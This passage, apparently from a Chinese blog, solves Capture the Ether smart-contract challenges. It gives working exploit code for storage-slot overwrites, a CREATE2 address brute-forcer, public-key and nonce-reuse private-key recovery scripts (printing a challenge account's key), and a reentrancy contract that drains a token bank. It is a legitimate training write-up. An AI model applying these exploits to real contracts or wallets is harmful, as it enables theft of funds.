1 2 3 4 5 6 7 8 9 10 11 slot 0: isComplete slot 1: map.length // ... slot keccak(1): map[0] slot keccak(1) + 1: map[1] slot keccak(1) + 2: map[2] slot keccak(1) + 3: map[3] slot keccak(1) + 4: map[4] // ...
动态数组内变量所在的存储位的计算公式即为
keccak256(slot) + index
map.length = key + 1; 当map.length溢出会回绕到slot 0 即可完成isComplete的覆盖
1 2 3 4 5 6 7 >>> a = binascii.unhexlify('%064x' % 1) >>> Web3.keccak(a) HexBytes('0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6') >>> 2**256 - int(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6) 35707666377435648211887908874984608119992236509074197713628505308453184860938
则在 35707666377435648211887908874984608119992236509074197713628505308453184860938
位置设置为 1 即可。
5. Donation题目描述:
A candidate you don’t like is accepting campaign contributions via the smart contract below.
To complete this challenge, steal the candidate’s ether.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.4.21; contract DonationChallenge { struct Donation { uint256 timestamp; uint256 etherAmount; } Donation[] public donations; address public owner; function DonationChallenge() public payable { require(msg.value == 1 ether); owner = msg.sender; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function donate(uint256 etherAmount) public payable { // amount is in ether, but msg.value is in wei uint256 scale = 10**18 * 1 ether; require(msg.value == etherAmount / scale); Donation donation; donation.timestamp = now; donation.etherAmount = etherAmount; donations.push(donation); } function withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } }
Enjoy this inspirational music while you work: Space Force .
解题:
这也是一个变量覆盖题目。 Struct在函数内非显式地初始化的时候会使用storage存储而不是memory。具体讲就是 donate()
中 donation
定义时未指定引用,默认指向 slot0 。 因此我们可覆盖solt 0和slot 1处1存储的状态变量,恰好solt 1存储的即为owner
1 2 3 4 5 Donation donation; donation.timestamp = now; donation.etherAmount = etherAmount; now覆盖slot(0) etherAmount覆盖slot(1) 利用etherAmount覆盖owner
我们需要将 owner 覆盖为我们的账户, 然后将 balance 取出。
攻击: 设置 value 满足要求,即 address // 10**36
, 设置 etherAmount 的值为我的地址
攻击后:
这样我就可以将 balance 全部取出了。
6. Fifty years题目描述:
This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later.
All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pragma solidity ^0.4.21; contract FiftyYearsChallenge { struct Contribution { uint256 amount; uint256 unlockTimestamp; } Contribution[] queue; uint256 head; address owner; function FiftyYearsChallenge(address player) public payable { require(msg.value == 1 ether); owner = player; queue.push(Contribution(msg.value, now + 50 years)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function upsert(uint256 index, uint256 timestamp) public payable { require(msg.sender == owner); if (index >= head && index < queue.length) { // Update existing contribution amount without updating timestamp. Contribution storage contribution = queue[index]; contribution.amount += msg.value; } else { // Append a new contribution. Require that each contribution unlock // at least 1 day after the previous one. require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days); contribution.amount = msg.value; contribution.unlockTimestamp = timestamp; queue.push(contribution); } } function withdraw(uint256 index) public { require(msg.sender == owner); require(now >= queue[index].unlockTimestamp); // Withdraw this and any earlier contributions. uint256 total = 0; for (uint256 i = head; i <= index; i++) { total += queue[i].amount; // Reclaim storage. delete queue[i]; } // Move the head of the queue forward so we don't have to loop over // already-withdrawn contributions. head = index + 1; msg.sender.transfer(total); } }
Enjoy this inspirational music while you work: 100 Years . I guess just listen to half of it.
解题:
通过前面几天题,我可以知道以下暂时可以得到信息:
函数里使用了storage存储来初始化一个contribution结构体, 因此我们可以覆盖 queue 的长度以及 head 的值。
msg.value覆盖slot(0) -> queue.length
timestamp覆盖slot(1) -> head
溢出漏洞: require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
queue 的长度可控, 动态数组queue 的变量所在的存储位计算规则为 keccak256(slot) + index * elementsize
, elementsize
即为结构体Contribution的size
利用思路:
启动合约,此时 queue.length =1, head = 0
调用 upsert(1, 2**256-24*60*60)
通过溢出绕过 require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
检查,即 2**256 + 24 * 60 * 60 = 0;
此时 queue.length = 1 & head = 2*256-24 60*60
再调用一次 upsert(2, 0) , 调用后, queue.length = 2 & head = 0
最后取出所有 balance withdraw(2)
step1:
step: 2
然后在执行withraw 的时候发现失败了,通过调试以及查阅资料发现:
1 2 3 4 5 contribution的amount值并不是我们传递的msg.value的值,在其基础上还加了1.开始我也不太明白,后来debug发现原来queue.length也是msg.value+1,因为二者共用一块存储,应该是queue.length增加时也修改了amount的值,至于此处queue.length为何+1,则是因为queue.push操作,因为其在最后执行增添对象的任务,添加以后它会将queue.length进行+1操作 这样一切就解释的通了,关键就是这里amount进行了+1,所以在withdraw是所统计的total事实上是大于合约所拥有的balance,所以transfer无法执行,这一点确实有点难到我了,必须想个办法抵消这一步+1的操作 很快,我意识到我可以利用value来覆盖已有的contribution,既然发1 wei会加1,那我发两次,这样得到的amount就是2,也就是我实际发送的wei数目,所以把上面那两步写入操作都改成1 wei下的操作即可 。
参考资料:
capture the ether write up(warmup and Math) - 安全客,安全资讯平台 (anquanke.com)
Account 1. Fuzzy identity题目描述:
This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:
I always use a wallet contract that returns “smarx” if you ask its name
.
Everything I write has bad code in it, so my address always includes the hex string badc0de
.
To complete this challenge, steal my identity!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; interface IName { function name() external view returns (bytes32); } contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; } }
Enjoy this inspirational music while you work: Research Me Obsessively .
解题:
题目要求:
IName(addr).name() == bytes32("smarx");
地址中要存在 badc0de
通过查阅资料可以知道:
参考黄皮书公式(81),部署合约时,目标地址有两种计算方式,分别为 CREATE
和 CREATE2
我们通过 CREATE2
爆破salt计算合约地址,包含badc0de即可
部署攻击合约的部署合约利用create2获取包含特定字符的攻击合约地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.5.12; contract FuzzyIdentitySolverDeployer { function deploy(bytes memory code, uint256 salt) public returns(address) { address addr; assembly { addr := create2(0, add(code, 0x20), mload(code), salt) if iszero(extcodesize(addr)) { revert(0, 0) } } return addr; } }
部署上述合约并获取合约地址:
编译攻击合约代码, 并获取攻击合约代码的 bytecode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pragma solidity ^0.4.21; interface IFuzzyIdentityChallengeSolver { function authenticate() external; } contract FuzzyIdentityChallengeSolver { function name() public pure returns (bytes32) { return bytes32("smarx"); } function attack(address _addr) public { IFuzzyIdentityChallengeSolver(_addr).authenticate(); } }
1 2 3 4 5 6 { "linkReferences" : {}, "object" : "608060405234801561001057600080fd5b5061019a806100206000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063d018db3e14610084575b600080fd5b34801561005d57600080fd5b506100666100c7565b60405180826000191660001916815260200191505060405180910390f35b34801561009057600080fd5b506100c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100ef565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561015357600080fd5b505af1158015610167573d6000803e3d6000fd5b50505050505600a165627a7a723058208dfe2548775f3de8273867b8111a10cf9a9ad2fbde6b7c8d41ececc20f7367380029" , "opcodes" : "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x19A DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4C JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x6FDDE03 EQ PUSH2 0x51 JUMPI DUP1 PUSH4 0xD018DB3E EQ PUSH2 0x84 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x5D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x66 PUSH2 0xC7 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 PUSH1 0x0 NOT AND PUSH1 0x0 NOT AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x90 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xC5 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0xEF JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH32 0x736D617278000000000000000000000000000000000000000000000000000000 SWAP1 POP SWAP1 JUMP JUMPDEST DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x380C7A67 PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x153 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x167 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 DUP14 INVALID 0x25 0x48 PUSH24 0x5F3DE8273867B8111A10CF9A9AD2FBDE6B7C8D41ECECC20F PUSH20 0x6738002900000000000000000000000000000000 " , "sourceMap" : "107:239:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;107:239:0;;;;;;;" }
keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]计算攻击合约地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import randomimport sysfrom web3 import Web3def _create2 (deployer, salt_hexstr, hashed_bytecode ): addr_hexbytes = Web3.keccak(hexstr=('ff' + deployer + salt_hexstr + hashed_bytecode)) addr = Web3.toHex(addr_hexbytes)[-40 :] return addr def create2 (deployer, salt, bytecode ): assert (len(deployer) == 40 ) assert (len(bytecode) % 2 == 0 ) salt_hexstr = hex(salt)[2 :].zfill(64 ) hashed_bytecode = Web3.toHex(Web3.keccak(hexstr=bytecode))[2 :] return _create2(deployer, salt_hexstr, hashed_bytecode) def create2_search (deployer, predicate, bytecode ): salt = 0 hashed_bytecode = Web3.toHex(Web3.keccak(hexstr=bytecode))[2 :] while True : salt += 1 salt_hexstr = hex(salt)[2 :].zfill(64 ) addr = _create2(deployer, salt_hexstr, hashed_bytecode) if salt % 1000 == 0 : print('.' , end='' , flush=True ) if predicate(addr): print(f"\nFound a match after {salt} attempts: {addr} " ) break def main (): if len(sys.argv) != 4 : print(f"Usage: python3 {sys.argv[0 ]} deployer_addr <salt |predicate> bytecode" ) print() print(f"When passing a salt value, this script prints theaddress of the newly deployed contract based on the deployer address andbytecode hash." ) print(f"Example: python3 {sys.argv[0 ]} Bf6cE3350513EfDcC0d5bd5413F1dE53D0E4f9aE 42 602a60205260206020f3" ) print() print(f"When passing a predicate, this script will search for a salt value such that the new address satisfies the predicate." ) print(f"Example: python3 {sys.argv[0 ]} Bf6cE3350513EfDcC0d5bd5413F1dE53D0E4f9aE 'lambda addr: \"badc0de\" inaddr.lower()' 602a60205260206020f3" ) print(f"Another predicate that may be useful: 'lambda addr:addr.startswith(\"0\" * 8)' 602a60205260206020f3" ) sys.exit(0 ) deployer_addr = sys.argv[1 ] if deployer_addr.startswith('0x' ): deployer_addr = deployer_addr[2 :] bytecode = sys.argv[3 ] try : salt = int(sys.argv[2 ]) print(create2(deployer_addr, salt, bytecode)) except ValueError: predicate = eval(sys.argv[2 ]) create2_search(deployer_addr, predicate, bytecode) if __name__ == '__main__' : main()
通过计算出来的合约攻击目标地址
2. Public Key题目描述:
Recall that an address is the last 20 bytes of the keccak-256 hash of the address’s public key.
To complete this challenge, find the public key for the owner
‘s account.
1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.4.21; contract PublicKeyChallenge { address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31; bool public isComplete; function authenticate(bytes publicKey) public { require(address(keccak256(publicKey)) == owner); isComplete = true; } }
Enjoy this inspirational music while you work: Public Key Infrastructure .
解题:
题目提供我们一个合约的地址,要求我们得到该地址的公钥。 这里涉及到以太坊的交易签名算法。当我们知道 r、s、v 和 hash时我们可以恢复出公钥。
R 、S、V 可以通过如下方法获得, 首先找到由这个账户发起的交易,然后通过脚本计算, 完整脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 const ethers = require ("ethers" );const Web3 = require ('web3' );(async () => { const tx = ethers.utils.parseTransaction('0xf87080843b9aca0083015f90946b477781b0e68031109f21887e6b5afeaaeb002b808c5468616e6b732c206d616e2129a0a5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7a05710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962' ); const expandedSig = { r: tx.r, s: tx.s, v: tx.v }; const signature = ethers.utils.joinSignature(expandedSig); const txData = { gasPrice: tx.gasPrice, gasLimit: tx.gasLimit, value: tx.value, nonce: tx.nonce, data: tx.data, chainId: tx.chainId, to: tx.to }; const rsTx = await ethers.utils.resolveProperties(txData); const raw = ethers.utils.serializeTransaction(rsTx); const msgHash = ethers.utils.keccak256(raw); const msgBytes = ethers.utils.arrayify(msgHash); const recoveredPubKey = ethers.utils.recoverPublicKey(msgBytes,signature); const compressedPubKey = ethers.utils.arrayify(recoveredPubKey).slice(1 ); const answerPubKeyHex =Buffer.from(compressedPubKey).toString('hex' ); console .log(`0x${answerPubKeyHex} ` ); })(); 0x613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4
参考链接:
签名与校验 :: 以太坊技术与实现 (learnblockchain.cn)
3. Account Takeover题目描述:
To complete this challenge, send a transaction from the owner
‘s account.
1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.4.21; contract AccountTakeoverChallenge { address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b; bool public isComplete; function authenticate() public { require(msg.sender == owner); isComplete = true; } }
Enjoy this inspirational music while you work: Pinky and The Brain Intro .
解题:
题目要求我们获取账户私钥
找到该账户的所有交易,发现有两笔交易使用了同样的 r
解题脚本如下::
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from web3 import Web3, HTTPProviderfrom pwn import loginfura_url = 'https://ropsten.infura.io/v3/[api_key]' web3 = Web3(Web3.HTTPProvider(infura_url)) a= web3.eth.get_transaction("0x061bf0b4b5fdb64ac475795e9bc5a3978f985919ce6747ce2cfbbcaccaf51009" ) log.info("r = {0}" .format(a.r.hex())) log.info("s = {0}" .format(a.s.hex())) log.info("v= {0}" .format(a.v)) a= web3.eth.get_transaction("0xd79fc80e7b787802602f3317b7fe67765c14a7d40c3e0dcb266e63657f881396" ) log.info("r = {0}" .format(a.r.hex())) log.info("s = {0}" .format(a.s.hex())) log.info("v= {0}" .format(a.v)) r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166 0xd79fc80e7b787802602f3317b7fe67765c14a7d40c3e0dcb266e63657f881396 s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8 z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04 0x061bf0b4b5fdb64ac475795e9bc5a3978f985919ce6747ce2cfbbcaccaf51009 s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 def inverse_mod (a, n ): return pow(a, n - 2 , n) k=(z1-z2)*inverse_mod(s1-s2,p)%p pk = (s1 * k - z1) * inverse_mod(r, p) % p pkNeg=(-s1*(-k%p)-z1)*inverse_mod(r,p)%p log.info('k = {:x}' .format(k)) log.info('k negation = {:x}' .format(-k % p)) if pk == pkNeg: log.success('private key = {:x}' .format(pk)) k=(z1-z2)*inverse_mod(s1+s2,p)%p pk = (s1 * k - z1) * inverse_mod(r, p) % p log.info('k = {:x}' .format(k)) log.info('k negation = {:x}' .format(-k % p)) if pk == pkNeg: log.success('private key = {:x}' .format(pk)) from eth_account import Accountacct =Account.from_key("614f5e36cd55ddab0947d1723693fef5456e5bee24738ba90bd33c0c6e68e269" ) log.info('account addr {:x}' .format(acct.address))
然后用这个账户调用 authenticate
函数即可:
参考链接:
Smart Contract Exploits Part 3 — Featuring Capture the Ether (Accounts) | by Enigmatic | Coinmonks | Medium
Miscellaneous 1. Assume ownership题目描述:
To complete this challenge, become the owner
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.4.21; contract AssumeOwnershipChallenge { address owner; bool public isComplete; function AssumeOwmershipChallenge() public { owner = msg.sender; } function authenticate() public { require(msg.sender == owner); isComplete = true; } }
Enjoy this inspirational music while you work: Owner Of A Lonely Heart .
解题:
构造函数存在拼写错误 , 导致合约部署的时候这个函数没有运行。
1 2 AssumeOwnershipChallenge AssumeOwmershipChallenge
因此我们可以直接调用 AssumeOwmershipChallenge
函数设置 owner
2. Token bank题目描述:
I created a token bank. It allows anyone to deposit tokens by transferring them to the bank and then to withdraw those tokens later. It uses ERC 223 to accept the incoming tokens.
The bank deploys a token called “Simple ERC223 Token” and assigns half the tokens to me and half to you. You win this challenge if you can empty the bank.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 pragma solidity ^0.4.21; interface ITokenReceiver { function tokenFallback(address from, uint256 value, bytes data) external; } contract SimpleERC223Token { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; string public name = "Simple ERC223 Token"; string public symbol = "SET"; uint8 public decimals = 18; uint256 public totalSupply = 1000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC223Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return length > 0; } function transfer(address to, uint256 value) public returns (bool success) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint256 value, bytes data) public returns (bool) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); if (isContract(to)) { ITokenReceiver(to).tokenFallback(msg.sender, value, data); } return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } } contract TokenBankChallenge { SimpleERC223Token public token; mapping(address => uint256) public balanceOf; function TokenBankChallenge(address player) public { token = new SimpleERC223Token(); // Divide up the 1,000,000 tokens, which are all initially assigned to // the token contract's creator (this contract). balanceOf[msg.sender] = 500000 * 10**18; // half for me balanceOf[player] = 500000 * 10**18; // half for you } function isComplete() public view returns (bool) { return token.balanceOf(this) == 0; } function tokenFallback(address from, uint256 value, bytes) public { require(msg.sender == address(token)); require(balanceOf[from] + value >= balanceOf[from]); balanceOf[from] += value; } function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); require(token.transfer(msg.sender, amount)); balanceOf[msg.sender] -= amount; } }
Enjoy this inspirational music while you work: A British Bank .
解题:
题目要求我们将 Bank 的余额清零。
TokenBankChallenge.withdraw(uint256)
中存在重入漏洞:
它先发出消息调用 token.transfer(msg.sender)
后修改状态
前者又会发起外部调用 ITokenReceiver(to).tokenFallback()
,
1 2 3 if (isContract(to)) { ITokenReceiver(to).tokenFallback(msg.sender, value, data); }
判断了to地址是否是个合约地址,如果是合约的话就用ITokenReceiver
接口来调用to
合约的tokenFallback
函数,在银行合约里这个函数用更改目标的balance,但是to
是我们可控的 , 我们只需部署攻击合约,且该合约也存在 tokenFallback
函数,然后函数中再调用 TokenBankChallenge.withdraw
, 就可以合约身份执行withdraw
函数
步骤:
部署攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pragma solidity ^0.4.21; interface ITokenBankChallenge { function token() external returns (address); function balanceOf(address from) external returns (uint256); function isComplete() external view returns (bool); function withdraw(uint256 amount) external; } interface ISimpleERC223Token { function totalSupply() external returns (uint256); function balanceOf(address from) external returns (uint256); function transfer(address to, uint256 value) external returns (bool success); } contract TokenBankSolver { ITokenBankChallenge public challenge; ISimpleERC223Token public token; uint256 public balance = 500000000000000000000000; function TokenBankSolver(address _addr) public { challenge = ITokenBankChallenge(_addr); token = ISimpleERC223Token(challenge.token()); } function attack() public returns(uint256) { token.transfer(challenge, balance); challenge.withdraw(balance); } function tokenFallback(address from, uint256 value, bytes) public { token.balanceOf(from); require(msg.sender == address(token)); uint256 challengeLeftBalance = token.balanceOf(address(challenge)); bool keepRecursing = challengeLeftBalance > 0; if (keepRecursing) { uint256 v = value < challengeLeftBalance? value: challengeLeftBalance; challenge.withdraw(v); } } function isComplete() public view returns(bool) { return challenge.isComplete(); } }
将 Bank中的 balance 全部提换成 Token -> TokenBankChallenge.withdraw =>SimpleERC223Token
设置 allowance : allowance[from=player][msg.sender=player] =500000000000000000000000
将 player 的 Token 全部转到攻击合约上:
1 simpleERC223Token_contract.functions.transferFrom(player_account.address,to=attack_contract_address,value=500000000000000000000000)
调用攻击合约的 attack 函数
这样就完成了攻击步骤
至此就全部做完了: